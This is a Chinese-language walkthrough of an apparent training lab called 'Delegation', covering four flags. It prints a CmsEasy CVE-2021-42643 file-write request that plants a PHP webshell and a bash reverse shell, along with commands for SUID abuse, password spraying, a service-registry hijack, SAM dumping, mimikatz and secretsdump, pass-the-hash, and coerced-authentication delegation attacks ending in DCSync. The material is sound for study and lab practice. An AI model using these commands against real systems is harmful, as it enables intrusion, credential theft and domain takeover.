Delegation
涉及的知识点
CmsEasy7.7.5任意文件写入(cve-2021-42643)
diff的suid提权
rockyou爆破主机密码
gpupdate服务注册表提权
Rubeus + dfscoerce打非约束性委派攻击
flag1
fscan扫到个web服务
start infoscan
39.98.117.47:3306 open
39.98.117.47:22 open
39.98.117.47:80 open
39.98.117.47:21 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle http://39.98.117.47 code:200 len:68104 title:中文网页标题
CmsEasy7.7.5任意文件写入(cve-2021-42643)
访问是CmsEasy框架,/admin路由可以通过admin/123456登录,但是修改模板那里只能修改html页面
查看源码是7.7.5版本,打cve-2021-42643
bp抓包,可以传一句话马或者直接弹shell
POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1
Host:39.98.127.229
Content-Length: 76
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Cookie: PHPSESSID=qrqmi2nksq9l5qatj65c1i69c3; login_username=admin; login_password=a14cdfc627cef32c707a7988e70c1313
Connection: close
sid=#data_d_.._d_.._d_.._d_2.php&slen=693&scontent=<?php eval($_REQUEST[1]);?>
sid=#data_d_.._d_.._d_.._d_1.php&slen=693&scontent=<%3fphp+exec("/bin/bash+-c+'bash+-i+>%26+/dev/tcp/ip/10087+0>%261'")%3b%3f>
diff的suid提权
vshell上线,发现flag没权限读,利用diff的suid提权读flag
diff --line-format=%L /dev/null /home/flag/flag01.txt
flag{46386a2c-2395-469c-63af-4b891cf77a7d}
flag2
传gost和fscan
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.4.7 is alive
(icmp) Target 172.22.4.36 is alive
(icmp) Target 172.22.4.45 is alive
(icmp) Target 172.22.4.19 is alive
[*] Icmp alive hosts len is: 4
172.22.4.7:88 open
172.22.4.19:139 open
172.22.4.19:135 open
172.22.4.45:135 open
172.22.4.7:139 open
172.22.4.7:135 open
172.22.4.45:139 open
172.22.4.45:80 open
172.22.4.36:80 open
172.22.4.36:3306 open
172.22.4.45:445 open
172.22.4.19:445 open
172.22.4.7:445 open
172.22.4.36:21 open
172.22.4.36:22 open
[*] alive ports len is: 15
start vulscan
[*] NetInfo
[*]172.22.4.7
[->]DC01
[->]172.22.4.7
[*] NetBios 172.22.4.45 XIAORANG\WIN19
[*] NetInfo
[*]172.22.4.19
[->]FILESERVER
[->]172.22.4.19
[*] NetBios 172.22.4.7 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] OsInfo 172.22.4.7 (Windows Server 2016 Datacenter 14393)
[*] NetInfo
[*]172.22.4.45
[->]WIN19
[->]172.22.4.45
[*] NetBios 172.22.4.19 FILESERVER.xiaorang.lab Windows Server 2016 Standard 14393
[*] WebTitle http://172.22.4.36 code:200 len:68100 title:中文网页标题
[*] WebTitle http://172.22.4.45 code:200 len:703 title:IIS Windows Server
得到以下信息:
172.22.4.45
WIN19172.22.4.7
DC172.22.4.36
CmsEasy172.22.4.19
FILESERVER
rockyou爆破主机密码
根据flag1后面的提示,WIN19机器有个Adrian
用户,密码在rockyou字典中
proxychains4 -q crackmapexec smb 172.22.4.45 -u Adrian -p /usr/share/wordlists/rockyou.txt -d WIN19
proxychains4 -q crackmapexec smb 172.22.4.45 -u Adrian -p /usr/share/wordlists/rockyou.txt --local-auth
得到账密以及账密过期的提示
Adrian/babygirl1
跟Tsclient那个靶场一样,Windows登录不了,在kali用rdesktop登录可以直接改密码,顺便设一个共享文件夹方便后续两边传文件
proxychains4 rdesktop 172.22.4.45 -u Adrian -p 'babygirl1' -r disk:share=/root/Desktop/simho
登录后桌面有个PrivescCheck文件夹,在github上看是一个本地权限提升漏洞扫描工具,直接给了扫描结果
gpupdate服务注册表提权
看到用户对gupdate服务的注册表有写入权限
在 Windows 系统中,gupdate 通常与 Google Update 服务相关联,它是 Google 提供的一种后台更新机制,主要用于自动检查和安装 Google 软件(如 Chrome 浏览器和 Google Earth)的更新
修改注册表
reg add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\Adrian\Desktop\tcp77.exe" /f
reg query "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /v ImagePath
或者regedit
打开注册表,在下面路径直接修改ImagePath
计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\gupdate
在cmd启动gupdate服务
sc start gupdate
一开始是在vshell生成正向马,传到目标机器之后正向连接
但是过半分钟左右就会因为服务没有响应启动而掉线,vshell也没有进程迁移功能
因此学其它师傅先制作一个.bat文件,将sam文件导到桌面
reg save hklm\system C:\Users\Adrian\Desktop\system
reg save hklm\sam C:\Users\Adrian\Desktop\sam
reg save hklm\security C:\Users\Adrian\Desktop\security
然后再msf生成一个exe,用来执行这个bat文件,再修改注册表执行
msfvenom -p windows/x64/exec cmd='C:\windows\system32\cmd.exe /c C:\users\Adrian\Desktop\sam.bat ' --platform windows -f exe-service > a.exe
不过我这里是利用vshell上线的十几秒时间快速执行这个bat文件
C:\windows\system32\cmd.exe /c C:\users\Adrian\Desktop\pass.bat
获取ntlm hash
用mimikatz
这里用mimikatz只能拿到administrator的ntlm hash
用secretsdump
用secretsdump.py还可以导出$MACHINE.ACC
的
secretsdump.py LOCAL -system system -sam sam -security security
在Windows域环境中,$MACHINE.ACC 并不是一个具体的用户账户,而是与 机器账户(Machine Account) 相关的一个概念。每台加入域的计算机都会在活动目录(Active Directory, AD)中注册一个对应的机器账户。这些账户通常以计算机名称命名,并以 $ 符号结尾。例如,一台名为 WORKSTATION01 的计算机,其机器账户在域中会显示为 WORKSTATION01$。
因此这里的$MACHINE.ACC
应该就是WIN19$
机器账户的hash
Administrator: aad3b435b51404eeaad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:7b0c9947eed865c0575783d48d3f44c4
用msf
如果前面拿msf上线,用load kiwi + creds_all也可以获取WIN19$
机器用户的hash(这里用的X1r0z师傅的结果)
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
Username Domain NTLM SHA1
-------- ------ ---- ----
Adrian WIN19 e19ccf75ee54e06b06a5907af13cef42 9131834cf4378828626b1beccaa5dea2c46f9b63
WIN19$ XIAORANG 2c05ad434d747b203a57565194891b38 a77f9e918a252e3ff4aec0f8ee06a60fc61cfac6
WIN19$ XIAORANG 5943c35371c96f19bda7b8e67d041727 5a4dc280e89974fdec8cf1b2b76399d26f39b8f8
哈希传递拿第二个flag,顺便添加个管理员账号
proxychains4 impacket-smbexec -hashes :ba21c629d9fd56aff10c3e826323e6ab administrator@172.22.4.45 -codec gbk
flag{7b21a2fe-4e68-446f-b707-1a6c680f3ed1}
flag3 & flag4
用WIN19$
的hash查域委派关系,发现WIN19$
配置了非约束性委派
$ proxychains4 python findDelegation.py xiaorang.lab/"WIN19$" -hashes :2c05ad434d747b203a57565194891b38 -dc-ip 172.22.4.7
AccountName AccountType DelegationType DelegationRightsTo
----------- ----------- -------------- ------------------
WIN19$ Computer Unconstrained N/A
或者用WIN19$
的hash通过bloodhound收集域信息,也能看到WIN19$
配置了非约束性委派
proxychains4 -q python3 bloodhound.py -u "WIN19$" --hashes aad3b435b51404eeaad3b435b51404ee:7b0c9947eed865c0575783d48d3f44c4 -d xiaorang.lab -dc DC01.xiaorang.lab -c all --dns-tcp -ns 172.22.4.7 --auth-method ntlm --zip
Rubeus + dfscoerce打非约束性委派攻击
管理员模式执行rubeus
Rubeus.exe monitor /interval:1 /filteruser:DC01$
然后用DFSCoerce或者PetitPotam触发强制认证
proxychains4 python dfscoerce.py -u win19$ -hashes :7b0c9947eed865c0575783d48d3f44c4 -d xiaorang.lab WIN19 172.22.4.7
proxychains4 python3 PetitPotam.py -u 'WIN19$' -hashes :7b0c9947eed865c0575783d48d3f44c4 -d xiaorang.lab -dc-ip 172.22.4.7 WIN19.xiaorang.lab DC01.xiaorang.lab
导入TGT,然后用 mimikatz 导出 administrator 的ntlm hash
Rubeus.exe ptt /ticket:doI......HLkxBQg==
或者base64解码保存后直接用mimikatz去dump域控hash
echo 'doI......HLkxBQg==' | base64 -d > DC01.kirbi
mimikatz.exe "kerberos::purge" "kerberos::ptt DC01.kirbi" "lsadump::dcsync /domain:xiaorang.lab /user:administrator" "exit"
接着PTH拿两台机器的lfag
proxychains4 impacket-smbexec -hashes :4889f6553239ace1f7c47fa2c619c252 xiaorang.lab/administrator@172.22.4.19 -codec gbk
flag{91de1800-9887-47da-ac30-d9f60362547e}
flag{2d9df94d-6971-42bb-ab3c-3ac264b802ba}